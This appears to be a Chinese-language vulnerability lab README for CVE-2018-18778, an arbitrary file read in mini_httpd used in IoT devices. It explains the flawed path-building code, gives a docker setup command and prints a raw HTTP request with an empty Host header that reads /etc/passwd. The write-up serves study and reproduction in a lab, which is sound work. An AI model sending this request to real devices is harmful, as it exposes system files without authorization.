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52 lines
1.6 KiB
Markdown
52 lines
1.6 KiB
Markdown
# mini_httpd 任意文件读取漏洞(CVE-2018-18778)
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Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。
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在mini_httpd开启虚拟主机模式的情况下,用户请求`http://HOST/FILE`将会访问到当前目录下的`HOST/FILE`文件。
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```c
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(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
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```
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见上述代码,分析如下:
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- 当HOST=`example.com`、FILE=`index.html`的时候,上述语句结果为`example.com/index.html`,文件正常读取。
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- 当HOST为空、FILE=`etc/passwd`的时候,上述语句结果为`/etc/passwd`。
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后者被作为绝对路径,于是读取到了`/etc/passwd`,造成任意文件读取漏洞。
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参考链接:ss
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- https://nvd.nist.gov/vuln/detail/CVE-2018-18778
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- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-18778.yaml
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## 环境搭建
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执行如下命令启动mini_httpd 1.29:
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```
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docker compose up -d
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```
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环境启动后,访问`http://your-ip:8080`即可看到Web页面。
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## 漏洞复现
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发送请求是将Host置空,PATH的值是文件绝对路径:
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```
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GET /etc/passwd HTTP/1.1
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Host:
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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```
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成功读取文件:
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